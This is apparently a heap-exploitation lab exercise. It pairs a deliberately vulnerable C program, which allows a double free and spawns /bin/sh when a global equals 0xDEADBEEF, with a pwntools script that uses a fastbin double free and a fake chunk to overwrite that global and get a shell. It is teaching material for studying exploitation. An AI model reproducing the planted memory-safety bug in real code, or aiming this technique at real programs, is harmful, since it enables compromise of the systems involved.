// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
	int ch, idx;
	int i = 0;
	char *ptr[10];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	printf("Name : ");
	read(0, name, 16);
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
			case 1: 
				if( i >= 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(32);
				printf("Data: ");
				read(0, ptr[i], 32-1);
				i++;
				break;
			case 2:
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
			case 3:
				if( overwrite_me == 0xDEADBEEF ) {
					system("/bin/sh");
				}
				break;
			default:
				break;
		}
	}
	return 0;
}

# fastbin_dup2.py 
from pwn import *
p = process("./fastbin_dup2")
def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
def getshell():
	print p.sendlineafter(">","3")
elf = ELF('fastbin_dup2')
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)
add("AAAA") # 0
add("AAAA") # 1 
free(0)
free(1)
free(0)
overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
p.interactive()